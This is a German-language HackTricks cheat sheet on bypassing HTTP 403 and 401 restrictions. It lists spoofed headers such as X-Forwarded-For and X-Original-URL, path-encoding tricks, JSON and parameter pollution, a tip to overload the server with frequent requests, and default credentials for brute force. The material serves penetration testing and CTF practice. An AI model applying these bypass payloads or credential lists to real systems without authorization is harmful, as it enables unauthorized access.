hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

9.8 KiB
Raw Blame History

403 & 401 Umgehungen

Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.

{% embed url="https://pentest-tools.com/" %}

Fuzzing von HTTP-Verben/Methoden

Versuchen Sie, verschiedene Verben zu verwenden, um auf die Datei zuzugreifen: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Überprüfen Sie die Antwortheader, möglicherweise werden einige Informationen angezeigt. Zum Beispiel bedeutet eine 200-Antwort auf HEAD mit Content-Length: 55, dass das HEAD-Verb auf die Informationen zugreifen kann. Sie müssen jedoch immer noch einen Weg finden, um diese Informationen zu extrahieren.
  • Die Verwendung eines HTTP-Headers wie X-HTTP-Method-Override: PUT kann das verwendete Verb überschreiben.
  • Verwenden Sie das TRACE-Verb und wenn Sie sehr viel Glück haben, können Sie möglicherweise auch die von Zwischenproxys hinzugefügten Header in der Antwort sehen, die nützlich sein könnten.

Fuzzing von HTTP-Headern

  • Ändern Sie den Host-Header auf einen beliebigen Wert (der hier funktioniert hat)

  • Versuchen Sie, andere User Agents zu verwenden, um auf die Ressource zuzugreifen.

  • Fuzz HTTP-Header: Versuchen Sie, HTTP-Proxy-Header, HTTP-Authentifizierung Basic und NTLM-Brute-Force (nur mit einigen Kombinationen) und andere Techniken zu verwenden. Hierfür habe ich das Tool fuzzhttpbypass erstellt.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Wenn der Pfad geschützt ist, können Sie versuchen, den Pfadschutz mit diesen anderen Headern zu umgehen:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • Wenn die Seite hinter einem Proxy liegt, ist es möglicherweise der Proxy, der Sie daran hindert, auf die privaten Informationen zuzugreifen. Versuchen Sie, HTTP-Request-Smuggling zu missbrauchen oder hop-by-hop-Header.
  • Fuzz spezielle HTTP-Header, um nach unterschiedlichen Antworten zu suchen.
  • Fuzz spezielle HTTP-Header während des Fuzzings von HTTP-Methoden.
  • Entfernen Sie den Host-Header und möglicherweise können Sie den Schutz umgehen.

Pfad-Fuzzing

Wenn /Pfad blockiert ist:

  • Versuchen Sie /%2e/Pfad _(wenn der Zugriff durch einen Proxy blockiert ist, könnte dies den Schutz umgehen). Versuchen Sie auch_** /%252e**/Pfad (doppelte URL-Codierung)
  • Versuchen Sie Unicode-Bypass: /%ef%bc%8fPfad (Die URL-codierten Zeichen sind wie "/"), sodass sie beim Zurückcodieren //Pfad sein werden und möglicherweise haben Sie bereits die /Pfad-Namensprüfung umgangen
  • Andere Pfadumgehungen:
  • site.com/geheim > HTTP 403 Verboten
  • site.com/GEHEIM > HTTP 200 OK
  • site.com/geheim/ > HTTP 200 OK
  • site.com/geheim/. > HTTP 200 OK
  • site.com//geheim// > HTTP 200 OK
  • site.com/./geheim/.. > HTTP 200 OK
  • site.com/;/geheim > HTTP 200 OK
  • site.com/.;/geheim > HTTP 200 OK
  • site.com//;//geheim > HTTP 200 OK
  • site.com/geheim.json > HTTP 200 OK (ruby)
  • Verwenden Sie all diese Liste in den folgenden Situationen:
  • /FUZZgeheim
  • /FUZZ/geheim
  • /geheimFUZZ
  • Andere API-Umgehungen:
  • /v3/Benutzer_Daten/1234 --> 403 Verboten
  • /v1/Benutzer_Daten/1234 --> 200 OK
  • {“id”:111} --> 401 Nicht autorisiert
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Nicht autorisiert
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON-Parameter-Pollution)
  • user_id=ANGREIFER_ID&user_id=OPFER_ID (Parameter-Pollution)

Parametermanipulation

  • Ändern Sie den Parametewert: Von id=123 --> id=124
  • Fügen Sie zusätzliche Parameter zur URL hinzu: ?id=124 —-> id=124&isAdmin=true
  • Entfernen Sie die Parameter
  • Ordnen Sie die Parameter neu an
  • Verwenden Sie Sonderzeichen.
  • Führen Sie Grenzwerttests in den Parametern durch - geben Sie Werte wie -234 oder 0 oder 99999999 an (nur einige Beispielswerte).

Protokollversion

Wenn Sie HTTP/1.1 verwenden, versuchen Sie, 1.0 zu verwenden oder testen Sie sogar, ob es 2.0 unterstützt.

Andere Umgehungen

  • Holen Sie sich die IP oder CNAME der Domain und versuchen Sie, direkt Kontakt aufzunehmen.
  • Versuchen Sie, den Server zu überlasten, indem Sie häufige GET-Anfragen senden (Es hat bei diesem Typen mit Facebook funktioniert).
  • Ändern Sie das Protokoll: von http zu https oder von https zu http
  • Gehen Sie zu https://archive.org/web/ und prüfen Sie, ob diese Datei in der Vergangenheit weltweit zugänglich war.

Brute Force

  • Erraten Sie das Passwort: Testen Sie die folgenden gängigen Anmeldeinformationen. Wissen Sie etwas über das Opfer? Oder den Namen der CTF-Herausforderung?
  • Brute Force: Versuchen Sie grundlegende, Digest- und NTLM-Authentifizierung.

{% code title="Gängige Anmeldeinformationen" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}

Automatische Tools

Sofort einsatzbereite Einrichtung für Schwachstellenbewertung und Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit mehr als 20 Tools und Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.

{% embed url="https://pentest-tools.com/" %}

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: